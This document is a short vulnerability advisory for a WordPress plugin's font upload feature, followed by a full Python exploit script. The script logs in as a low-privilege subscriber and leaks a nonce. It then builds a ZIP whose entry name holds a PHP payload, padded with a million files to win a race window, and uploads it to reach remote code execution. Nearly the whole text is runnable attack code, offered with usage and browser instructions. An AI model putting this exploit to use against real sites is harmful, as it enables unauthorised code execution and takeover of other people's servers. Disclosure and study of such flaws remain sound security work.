Description The plugin does not prevent users with limited privileges on the site, like subscribers, from momentarily uploading malicious PHP files disguised as ZIP archives, which may lead to remote code execution.
from io import BytesIO
import requests
import zipfile
import sys
import re
if len(sys.argv) != 4:
print('USAGE: python %s <target_url> <user_login> <user_pass>' % (sys.argv[0],))
sys.exit()
url = sys.argv[1].rstrip('/')
with requests.Session() as s:
'''
This exploit requires an account on the site (subscriber+)
'''
print('Logging in..')
# Log into WordPress using our Subscriber account
res = s.post(
url + '/wp-login.php',
headers={ 'Cookie': 'wordpress_test_cookie=WP Cookie check' },
data={'log':sys.argv[2], 'pwd':sys.argv[3], 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie':1})
print('Leaking nonce..')
# Leak nonce
nonce = re.search(r'GSF_META_DATA.*"nonce":"([0-9a-f]+)"', s.get(url + '/wp-admin/profile.php?action=delete').text)
if not nonce:
print('Couldn\'t find nonce!')
sys.exit()
nonce = nonce.group(1)
print('Creating malicious ZIP file..')
# Create a zip file in memory
zip_buffer = BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file:
# Malicious file whose name will launch phpinfo() later
zip_file.writestr('<?php phpinfo();die();__halt_compiler();?>', '')
# Add an empty style.css file
zip_file.writestr('style.css', '')
# A lot of useless file to give the user time to access the uploaded shell
for i in range(1000000):
zip_file.writestr(f'{i}.woff', 'A')
# Seek back to the beginning of the buffer
zip_buffer.seek(0)
print(f'Sending malicious font: Time to access {url}/wp-content/uploads/gsf-fonts/phpinfo.php in your browser!')
# Send malicious request uploading our shell
print(s.post(
url + '/wp-admin/admin-ajax.php?action=gsf_upload_fonts',
data={'_nonce': nonce, 'name': 'malicious_font2'},
files={'file_font': ('phpinfo.php', zip_buffer, 'application/zip')}).text)